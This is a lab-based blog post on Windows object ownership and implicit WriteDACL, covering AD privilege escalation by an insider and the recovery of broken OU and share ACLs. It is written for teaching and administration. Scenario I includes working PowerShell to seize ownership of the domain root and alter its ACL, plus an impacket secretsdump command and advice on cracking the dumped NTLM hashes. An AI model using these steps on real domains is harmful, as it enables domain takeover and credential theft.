TL;DR It is a bit of a truism, but the owner of an object in Windows always has WriteDACL, regardless of the object’s ACL. This shows why that matters in terms of system administration and security.
Welcome to Part II of our ‘Back to the Basics’ series!
Part I: NTDS.dit vs SAM
Part II: Ownership Matters
Part III: Recovering from a Crash
Part IV: Setting up a Simple Honeypot Account
Part V: Automating DC Deployment
Part VI: Sometimes it’s the dumbest thing
Part VII: Merry Christmas, macros, & Base64
Part VIII: Why old 0 Days make great teaching tools
Part IX: PowerShell & PS1s without PowerShell.exe
Part X: Ownership & so called “effective permissions”
Part XI: Windows Event Forwarding & SACLs
Part XII: Poorly planned honeypots & other Bad Ideas
Part XIII: Setting up a simple honey token
Part XIV: Smartcards and Pass-the-Hash
Part XV: Forwarding logs to Sentinel & basic alerts
Part XVI: Automating VM deployments in Hyper-V
Part XVII: Migrating the lab from ESXi to Hyper-V
Background
This was one of those ideas that was banging around in my head. We touched on it in a prior article where we kinda spitballed an idea about how an attacker could maintain persistence via ownership of HVT objects in AD. I remembered something that had happened ‘Back in the Day’ that was related and figured WTH, let’s turn this idea into Part II of Back to the Basics.
We will examine three scenarios regarding ownership of objects:
- Scenario I; an odd mashup of AD privileges
- Scenario II; a junior sysadmin screws up an OU
- Scenario III; a section FUBARs their own data’s ACL
Scenario I; the odd mashup of AD privileges
First we will consider the following example:
- A user has been placed in 2 groups; GroupX and GroupY
- Group X has been denied ExtendedRight with ObjectType all 0s & WriteDACL on the domain root
- Group Y has been allowed FullControl on the domain root
Please note that this was simply an exercise proposed by a vendor. This is not something that one is likely to see in the wild, at least I hope not.
If one wants to follow along with this scenario simply copy/paste the below:
#Create a Malicious Insider account
New-ADUser -DisplayName “Malicious Insider” -SamAccountName “Insider” -UserPrincipalName “Insider@corp.local” -Path ‘ou=user accounts,dc=corp,dc=local’#Create GroupX, Deny Extended all 0s, Deny WriteDACL
#Create GroupY, Allow GenericAll
#Add Insider to both groupsImport-Module ActiveDirectory
Set-Location AD:New-ADGroup -GroupScope Global -GroupCategory Security -Name “GroupX” -Path ‘ou=user accounts,dc=corp,dc=local’ -DisplayName “GroupX” -SamAccountName “GroupX”New-ADGroup -GroupScope Global -GroupCategory Security -Name “GroupY” -Path ‘ou=user accounts,dc=corp,dc=local’ -DisplayName “GroupY” -SamAccountName “GroupY”$acl = Get-Acl “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID.Value
#Deny ExtendedRight with GUID all 0s (http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm)
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl$acl = Get-Acl “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID.Value
#Deny WriteDACL
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”WriteDACL”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupY”).SID
#Allow GenericAll
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”GenericAll”,”ALLOW”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $aclAdd-ADGroupMember -Identity “GroupX” -Members Insider
Add-ADGroupMember -Identity “GroupY” -Members Insider
We can then verify by running the below query:
(Get-Acl (Get-ADDomain).DistinguishedName).access | Where {($_.IdentityReference -like “*GroupX*”) -or ($_.IdentityReference -like “*GroupY*”)}Get-ADGroup -Identity (((Get-Acl ((Get-ADDomain).DistinguishedName)).Owner).split(“\”)[1]) | Select-Object SID, Name, DistinguishedName
Next login to a domain workstation as Malicious Insider and play along. A clever attacker who knows how to Google will enumerate their privileges and then simply seize ownership of the domain root and make whatever changes they want.
Import-Module ActiveDirectory
Set-Location AD:$acl = Get-Acl “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity “Insider”).SID
$acl.SetOwner($user)
Set-ACL “AD:\dc=corp,dc=local” $acl$acl = Get-ACL “AD:\dc=corp,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADGroup -Identity “GroupX”).SID
#Remove Deny ExtendedRight with GUID all 0s to Allow (http://www.selfadsi.org/deep-inside/ad-security-descriptors.htm)
$acl.RemoveAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,”ExtendedRight”,”DENY”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid,”None”,([GUID](“00000000–0000–0000–0000–000000000000”)).guid))
#Apply above ACL rules
Set-ACL “AD:\dc=corp,dc=local” $acl
Wait, how was Insider able to modify the ACL on the domain root even though they are a member of a group which is specifically denied WriteDACL? They didn’t even remove the ACE that denies them WriteDACL, they just removed the ACE that denies GroupX ExtendedRight with ObjectType all 0s.
This is because owners of objects have implicit WriteDACL and all read rights, regardless of what is or isn’t in said object’s DACL. This seems to be by design, as we shall see in our next 2 scenarios.
On a sidenote, the AdminSDHolder doesn’t seem to change ownership of the domain root back to the default, in this case the builtin Administrators group. This lab/range’s domain root was still owned by the fake admins group we used in a prior howto, although the AdminSDHolder had removed that lab project’s modifications to the DACL itself. This is interesting since that project was on testing out a theory for sneaky persistence via changing ownership of objects without changing their DACLs.
The security aspect of this scenario should be obvious. Our Malicious Insider can now run secretsdump, grab everyone’s NTLM, start forging tickets, and can also feed everyone’s NTLM into crackstation.net, hashcat, john, etc and see if they get lucky. They will probably find at least a few passwords and given human nature these passwords may get them into third party systems like HR portals, the org’s bank account, etc.
cd /home/kali/Downloads/impacket-master/examplespython3 secretsdump.py -just-dc-ntlm corp/insider@192.168.0.110
For example crackstation.net find johnsmith’s password in seconds: Example10
JamesGoodman’s password is HelloThere!
Scenario II; a junior sysadmin screws up an OU
In this scenario we have an OU containing some VIP accounts. This scenario was inspired by a question on Microsoft Technet. They had a former sysadmin who had denied Everyone read rights to some domain workstation accounts in AD before leaving their organization.
If one wants to follow along just copy/paste the below:
#Don’t bother setting firstname/lastname/pwd or enabling them. They’re just placeholders for a lab.Import-Module ActiveDirectory
New-ADOrganizationalUnit -Name “VIPs” -Path “dc=test,dc=local”
New-ADUser -DisplayName “CEO” -Name “CEO” -SamAccountName “CEO” -UserPrincipalName “CEO@test.local” -Path ‘ou=VIPs,dc=test,dc=local’
New-ADUser -DisplayName “CIO” -Name “CIO” -SamAccountName “CIO” -UserPrincipalName “CIO@test.local” -Path ‘ou=VIPs,dc=test,dc=local’
New-ADUser -DisplayName “CISO” -Name “CISO” -SamAccountName “CISO” -UserPrincipalName “CISO@test.local” -Path ‘ou=VIPs,dc=test,dc=local’
New-ADUser -DisplayName “SomeOverPaidVIP” -Name “SomeOverPaidVIP” -SamAccountName “SomeOverPaidVIP” -UserPrincipalName “SomeOverPaidVIP@test.local” -Path ‘ou=VIPs,dc=test,dc=local’Set-Location AD:
$acl = Get-Acl “AD:\ou=VIPs,dc=test,dc=local”
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity “mishka”).SID
$acl.SetOwner($user)
Set-ACL “AD:\ou=VIPs,dc=test,dc=local” $acl
This assumes you have an account named “mishka”. If not change the SamAccountName accordingly.
Next login to a domain workstation as mishka and go ahead and screw up the OU by disabling inheritance and removing all ACEs from the OU’s ACL.
Please note some screenshots are redacted to omit Internet accessible FQDN’s and kindergartner’s real names.
Hey we all make mistakes sometimes and she just turned 6. It happens.
Let’s suppose that the junior sysadmin was let go following this snafu and our other sysadmin didn’t follow best practice, i.e. they deleted mishka’s account rather than disabling it. She was the owner of the OU, so she was the only one who had WriteDACL on it. We can create another account with the same UPN, but the SID won’t be the same. This is why best practice dictates to disable accounts until you are 100% sure the person is gone for good and you do not need access to anything they might have controlled.
(Obviously we didn’t actually let her go. She’s the only user and the only administrator in test.local, besides the ‘Break Glass’ admin account.)
So is this OU hosed? That’s a negative as we can seize ownership of it using a Domain Admin account and then fix the ACL.
Google was mixed on whether seizing ownership requires any member of Domain Admins or if it necessitates the builtin SID 500 Administrator account. I am happy to say that using any Domain Admin account worked fine in test.local, which is great because we limited SID 500 to local login only. This is because the SID 500 account does not lockout no matter what Group Policy is set to.
The OU appears empty as no one except mishka can even view the contents. If there are no Allow statements in an object’s ACL then no one is allowed to do anything. The exception to this rule is the owner. The owner has implicit WriteDACL.
Ignore this information box and hit the Advanced button.
Hit ‘Change’, put ‘Domain Admins’, and hit Ok. We have now seized ownership of the OU.
Notice that Windows helpfully informs us that as owner we can WriteDACL.
This can also be done in the CLI via:
dsacls “ou=vips,dc=test,dc=local” /takeownership
Next simply copy/paste the ACL of a known good OU:
$KnownGood = Get-Acl -Path “AD:\ou=user accounts,dc=test,dc=local”
Set-Acl -Path “AD:\ou=VIPs,dc=test,dc=local” -AclObject $KnownGood
We can now access the OU and the user accounts contained therein, the ACL is back, and Inheritance is once again enabled. While I would like to think we’d get a thank you for this, we’d probably just get a “hey hero, why’d you give a junior sysadmin the ability to screw up our account!?”
In hindsight this was probably a funny story for the guy or gal on Technet. They were able to fix their issue by cloning a known good ACL. However the security implications of this should be obvious. Availability is part of the CIA triad and if a disgruntled insider can FUBAR AD then you will very likely have a serious issue with availability for any service that authenticates via AD [Exchange, Sharepoint, probably ESXi in many orgs, Cisco SWs & RTRs in many orgs, AAD if you’re using pass-through authentication or Federation, etc etc].
Scenario III; a section FUBAR’s their own data’s ACL
I have said it numerous times before, but it bears repeating. I am not all that original or creative. Much [most?] of what we do here was inspired by something we saw before. I will spare everyone the “so back in the day” story and just say that a certain section FUBARed their own folder on a share drive downrange once. We will now replicate this in the lab and show how to fix it by, you guessed it, seizing ownership of the data.
Test.local has a share drive auto mapped to all systems via DFS and Group Policy, however I really don’t feel like messing with that for a lab project like this. We’ll just create a quick and dirty share on a member server and abuse that:
New-Item -ItemType Directory -Path C:\Temp\Share
Add-Content “C:\Temp\Share\SuperSecretSquirrelStuff.txt” -Value “Be careful with this stuff!”
New-SmbShare -Name “Share” -Path “C:\Temp\Share” -FullAccess “test\Minions” -ReadAccess “Everyone”
Grant-SmbShareAccess -Name “Share” -AccountName “test\Domain Admins” -AccessRight Full -Force
Set-SmbPathAcl -ShareName “Share”
Get-SmbShareAccess -Name “Share”
‘Set-SmbPathAcl’ is a very handy command which translates the share privileges to NTFS and applies them to the folder’s NTFS ACL. ‘Get-SmbShareAccess’ is used simply to confirm.
Next just login to a domain workstation as any member of Minions and screw up the privileges on the data in the Share. After all, we’re super secret right? We should definitely deny everyone else any rights on our data right?
Go ahead and blow past that warning. We know what we’re doing. Disable inheritance too, after all we don’t want anyone else from outside to see what’s in our folder.
Once this is done they suddenly realize that although they can see still see the files in their folder, they cannot read the contents of them.
So one would think that super special users who were able to figure out how to FUBAR their own data that they were self managing should be able to figure out how to fix it right? Well in the case of this ‘Back in the Day’ story one would be dead wrong.
Luckily Domain Admins are also local admins by default on domain systems. Therefore we can fix this snafu by seizing ownership of the folder.
We can then re-enable inheritance and remove the Deny Everyone everything ACE.
Summary
The moral of this story is that the owner always has implicit WriteDACL. By default Domain Admins can seize ownership of AD objects. They can also seize ownership of NTFS folders and files since by default they are local admins on domain systems.
Be aware though that ACLs can be modified by delegating privileges, and if a prior sysadmin was a bit careless then they could have given out GenericAll, WriteDACL, or WriteOwner to those who probably shouldn’t have such rights. This in turn allows them to seize ownership of the object and then make whatever changes they want.
References:
Ownership of objects explained: https://www.itprotoday.com/strategy/take-control-windows-object-ownership-and-inheritance
admin screws up AD ACLs: https://social.technet.microsoft.com/Forums/en-US/4ed78f40-fdde-4490-8bc2-fbe885b2d9dc/take-ownership-of-an-ad-object?forum=winserverDS
Well known SIDs: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/security-identifiers
Creating folders in PS: https://rdr-it.com/en/howto/create-a-folder-in-powershell/#:~:text=To%20create%20a%20folder%20in%20PowerShell%2C%20use%20the%20New%2DItem,want%20to%20create%20a%20folder.
Setting NTFS ACLs in PS: https://petri.com/how-to-use-powershell-to-manage-folder-permissions/
SMB & PS: https://docs.microsoft.com/en-us/powershell/module/smbshare/new-smbshare?view=windowsserver2022-ps
Changing Share rights in PS: https://docs.microsoft.com/en-us/powershell/module/smbshare/grant-smbshareaccess?view=windowsserver2022-ps
Setting NTFS ACLs in PS: https://petri.com/how-to-use-powershell-to-manage-folder-permissions/